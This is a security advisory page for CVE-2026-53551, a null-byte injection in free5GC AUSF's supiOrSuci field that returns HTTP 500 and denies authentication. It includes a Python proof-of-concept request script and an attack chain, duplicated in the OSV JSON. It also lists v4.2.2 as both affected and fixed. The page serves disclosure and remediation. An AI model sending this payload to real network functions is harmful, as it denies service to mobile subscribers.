CVE-2026-53551: free5GC AUSF Null Byte Injection Vulnerability

MODERATE
Advisory Identifier: GHSA-qj55-47fp-p62j
CWE-20
Published
Advisory Summary

CVE-2026-53551 is a MODERATE null byte injection vulnerability (CWE-20: Improper Input Validation) affecting free5GC AUSF libraries in the Go ecosystem. The issue involves null byte injection in supiorsuci causes http 500 internal service failure. Remediation is available by upgrading affected packages to version 4.2.2, 1.4.5.

CVE-2026-53551 at a Glance

CVE Identifier CVE-2026-53551
GHSA Identifier GHSA-qj55-47fp-p62j
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-20: Improper Input Validation
Affected Product free5GC AUSF
Package Ecosystem Go
Published Date
Last Updated

How to Fix CVE-2026-53551

To remediate this vulnerability, upgrade all affected free5GC AUSF dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/free5gc/free5gc fixed: 4.2.2
Upgrade github.com/free5gc/free5gc to 4.2.2
github.com/free5gc/ausf fixed: 1.4.5
Upgrade github.com/free5gc/ausf to 1.4.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/free5gc/free5gc

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-53551, inspect your project dependencies for free5GC AUSF:

inspect dependencies for github.com/free5gc/free5gc

Analyze the terminal output to locate any version of free5GC AUSF in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.2.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-20: Improper Input Validation, where the product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. In free5GC AUSF, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The free5GC AUSF (Authentication Server Function) does not validate the `supiOrSuci` field in UE authentication requests. Null bytes (`\x00`) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's `net/url.Parse()` to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale—4.1% of `special_chars` mutations produce HTTP 500—causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation). --- ### Details The vulnerability lies in the AUSF's `POST /nausf-auth/v1/ue-authentications` handler. The JSON body includes a `supiOrSuci` field: ```json {"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"} ``` The AUSF parses this JSON (Go's `encoding/json` accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw `supiOrSuci` value: ``` GET /nudm-ueau/v1/{supiOrSuci}/security-information/... ``` When `supiOrSuci` contains null bytes (`\x00`), the resulting URL is illegal under RFC 3986. Go's `net/url.Parse()` fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body: ``` {"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}} ``` The AUSF container log shows: `net/url: invalid control character in URL`. **Attack chain:** ``` 1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...} 2. AUSF: JSON parsed OK (null bytes valid in JSON strings) 3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/... 4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986) 5. AUSF ← UDM: error 6. Attacker ← AUSF: HTTP 500 {"message": "System failure"} ``` **Contrast with C/C++ 5GCs:** The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but "only" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error—the service survives, but the denial is equally effective. **Discovery context:** Found via automated 5G SBI fuzzing. The `special_chars` mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing: | Strategy | Requests | HTTP 500s | Trigger Rate | |----------|----------|-----------|-------------| | `special_chars` | 98,304 | 4,021 | 4.1% | | `seed_replay` | 132,428 | 7,947 | 6.0% | | `grammar_aware` | 30,944 | 683 | 2.2% | 100% of HTTP 500s originated from the `POST /nausf-auth/v1/ue-authentications` endpoint. ### PoC **No configuration changes needed.** Default free5GC deployment is vulnerable. ```python #!/usr/bin/env python3 import http.client, json AUSF_HOST = "127.0.0.1" # Replace with AUSF IP (e.g. 172.24.0.50) AUSF_PORT = 8000 # Bug: null bytes in supiOrSuci → HTTP 500 body_bug = json.dumps({ "supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org", "authType": "5G_AKA" }) conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5) conn.request("POST", "/nausf-auth/v1/ue-authentications", body=body_bug, headers={"Content-Type": "application/json"}) resp = conn.getresponse() print(f"Bug: Status {resp.status}") # Returns 500 # Contrast: normal SUCI → 404 (expected, UE not found) body_normal = json.dumps({ "supiOrSuci": "imsi-208930000000031", "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org", "authType": "5G_AKA" }) conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5) conn2.request("POST", "/nausf-auth/v1/ue-authentications", body=body_normal, headers={"Content-Type": "application/json"}) resp2 = conn2.getresponse() print(f"Normal: Status {resp2.status}") # Returns 404 ``` **Run:** `python3 reproduce.py` **Expected fix (input validation + URL escaping):** ```go import "regexp" import "net/url" var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`) func validateSUCI(supiOrSuci string) error { if strings.ContainsFunc(supiOrSuci, func(r rune) bool { return r < 0x20 || r > 0x7e }) { return fmt.Errorf("SUCI contains illegal characters") } return nil } // URL-escape before constructing UDM request udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...", udmAddr, url.PathEscape(supiOrSuci)) ``` ### Impact | Property | Value | |----------|-------| | **Authentication** | None required (unauthenticated SBI endpoint) | | **Impact** | Denial of Service — AUSF returns HTTP 500 for all authentication requests during attack | | **Information Leak** | HTTP 500 response leaks internal `net/url.Parse` error, enabling backend fingerprinting | | **Affected version** | free5GC v4.2.2 (latest) | | **Fix** | Validate `supiOrSuci` before URL construction; use `url.PathEscape()` | **Environment:** Ubuntu 22.04, kernel 6.8.0-110, free5GC Docker containers on bridge network 172.24.0.0/16. NFs deployed: NRF, UDM, UDR, AUSF, AMF, SMF, PCF, NSSF, MongoDB.

CVE-2026-53551 Affected free5GC AUSF Versions

2 component(s)
Fixed Versions:
4.2.21.4.5
Product / Package Ecosystem Affected Versions Fixed Version
github.com/free5gc/free5gc
Go
< 4.2.2
4.2.2
github.com/free5gc/ausf
Go
< 1.4.5
1.4.5

References

Frequently Asked Questions

What is CVE-2026-53551?
CVE-2026-53551 is a security vulnerability in free5GC AUSF involving null byte injection in supiOrSuci causes HTTP 500 internal service failure under CWE-20: Improper Input Validation.
Which free5GC AUSF versions are affected?
Affected versions include releases prior to 4.2.2, 1.4.5 across affected packages: github.com/free5gc/free5gc, github.com/free5gc/ausf.
What version fixes CVE-2026-53551?
Upgrading to 4.2.2, 1.4.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/free5gc/free5gc affected?
Yes, github.com/free5gc/free5gc is affected in releases prior to 4.2.2. Upgrade your dependency to 4.2.2 or later.
Is github.com/free5gc/ausf affected?
Yes, github.com/free5gc/ausf is affected in releases prior to 1.4.5. Upgrade your dependency to 1.4.5 or later.
What CWE is associated with CVE-2026-53551?
CVE-2026-53551 is classified under CWE-20: Improper Input Validation (The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.).
How can I check Go dependencies for CVE-2026-53551?
Run the dependency tree command: 'inspect dependencies for github.com/free5gc/free5gc'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qj55-47fp-p62j",
  "modified" : "2026-07-31T20:13:11Z",
  "published" : "2026-07-31T20:13:11Z",
  "aliases" : [ "CVE-2026-53551" ],
  "summary" : "free5GC AUSF: null byte injection in supiOrSuci causes HTTP 500 internal service failure",
  "details" : "### Summary\n\nThe free5GC AUSF (Authentication Server Function) does not validate the `supiOrSuci` field in UE authentication requests. Null bytes (`\\x00`) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's `net/url.Parse()` to fail, returning HTTP 500 \"System failure\" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale—4.1% of `special_chars` mutations produce HTTP 500—causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation).\n\n---\n\n### Details\n\nThe vulnerability lies in the AUSF's `POST /nausf-auth/v1/ue-authentications` handler. The JSON body includes a `supiOrSuci` field:\n\n```json\n{\"supiOrSuci\": \"imsi-208930000000031\", \"servingNetworkName\": \"...\", \"authType\": \"5G_AKA\"}\n```\n\nThe AUSF parses this JSON (Go's `encoding/json` accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw `supiOrSuci` value:\n\n```\nGET /nudm-ueau/v1/{supiOrSuci}/security-information/...\n```\n\nWhen `supiOrSuci` contains null bytes (`\\x00`), the resulting URL is illegal under RFC 3986. Go's `net/url.Parse()` fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body:\n\n```\n{\"error\":{\"status\":\"INTERNAL_SERVER_ERROR\",\"message\":\"System failure\"}}\n```\n\nThe AUSF container log shows: `net/url: invalid control character in URL`.\n\n**Attack chain:**\n```\n1. Attacker → AUSF: POST {\"supiOrSuci\": \"imsi-\\x00...\", ...}\n2. AUSF: JSON parsed OK (null bytes valid in JSON strings)\n3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\\x00.../security-information/...\n4. UDM: net/url.Parse() fails (\\x00 illegal per RFC 3986)\n5. AUSF ← UDM: error\n6. Attacker ← AUSF: HTTP 500 {\"message\": \"System failure\"}\n```\n\n**Contrast with C/C++ 5GCs:** The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but \"only\" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error—the service survives, but the denial is equally effective.\n\n**Discovery context:** Found via automated 5G SBI fuzzing. The `special_chars` mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing:\n\n| Strategy | Requests | HTTP 500s | Trigger Rate |\n|----------|----------|-----------|-------------|\n| `special_chars` | 98,304 | 4,021 | 4.1% |\n| `seed_replay` | 132,428 | 7,947 | 6.0% |\n| `grammar_aware` | 30,944 | 683 | 2.2% |\n\n100% of HTTP 500s originated from the `POST /nausf-auth/v1/ue-authentications` endpoint.\n\n### PoC\n\n**No configuration changes needed.** Default free5GC deployment is vulnerable.\n\n```python\n#!/usr/bin/env python3\nimport http.client, json\n\nAUSF_HOST = \"127.0.0.1\"   # Replace with AUSF IP (e.g. 172.24.0.50)\nAUSF_PORT = 8000\n\n# Bug: null bytes in supiOrSuci → HTTP 500\nbody_bug = json.dumps({\n    \"supiOrSuci\": \"imsi-\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\",\n    \"servingNetworkName\": \"5G:mnc093.mcc208.3gppnetwork.org\",\n    \"authType\": \"5G_AKA\"\n})\n\nconn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)\nconn.request(\"POST\", \"/nausf-auth/v1/ue-authentications\",\n             body=body_bug, headers={\"Content-Type\": \"application/json\"})\nresp = conn.getresponse()\nprint(f\"Bug:    Status {resp.status}\")   # Returns 500\n\n# Contrast: normal SUCI → 404 (expected, UE not found)\nbody_normal = json.dumps({\n    \"supiOrSuci\": \"imsi-208930000000031\",\n    \"servingNetworkName\": \"5G:mnc093.mcc208.3gppnetwork.org\",\n    \"authType\": \"5G_AKA\"\n})\n\nconn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5)\nconn2.request(\"POST\", \"/nausf-auth/v1/ue-authentications\",\n              body=body_normal, headers={\"Content-Type\": \"application/json\"})\nresp2 = conn2.getresponse()\nprint(f\"Normal: Status {resp2.status}\")  # Returns 404\n```\n\n**Run:** `python3 reproduce.py`\n\n**Expected fix (input validation + URL escaping):**\n```go\nimport \"regexp\"\nimport \"net/url\"\n\nvar suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\\-]+$`)\n\nfunc validateSUCI(supiOrSuci string) error {\n    if strings.ContainsFunc(supiOrSuci, func(r rune) bool {\n        return r < 0x20 || r > 0x7e\n    }) {\n        return fmt.Errorf(\"SUCI contains illegal characters\")\n    }\n    return nil\n}\n\n// URL-escape before constructing UDM request\nudmURL := fmt.Sprintf(\"http://%s/nudm-ueau/v1/%s/security-information/...\",\n    udmAddr, url.PathEscape(supiOrSuci))\n```\n\n### Impact\n\n| Property | Value |\n|----------|-------|\n| **Authentication** | None required (unauthenticated SBI endpoint) |\n| **Impact** | Denial of Service — AUSF returns HTTP 500 for all authentication requests during attack |\n| **Information Leak** | HTTP 500 response leaks internal `net/url.Parse` error, enabling backend fingerprinting |\n| **Affected version** | free5GC v4.2.2 (latest) |\n| **Fix** | Validate `supiOrSuci` before URL construction; use `url.PathEscape()` |\n\n\n**Environment:** Ubuntu 22.04, kernel 6.8.0-110, free5GC Docker containers on bridge network 172.24.0.0/16. NFs deployed: NRF, UDM, UDR, AUSF, AMF, SMF, PCF, NSSF, MongoDB.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/free5gc/free5gc"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.2.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/free5gc/ausf"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.4.5"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/security/advisories/GHSA-qj55-47fp-p62j"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/issues/1048"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/ausf/pull/61"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/ausf/commit/bfc4a10094dbacbd862baa4686829f3fcc06ce1e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/ausf/releases/tag/v1.4.5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/free5gc/free5gc"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/free5gc/free5gc/releases/tag/v4.2.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-31T20:13:11Z",
    "nvd_published_at" : null
  }
}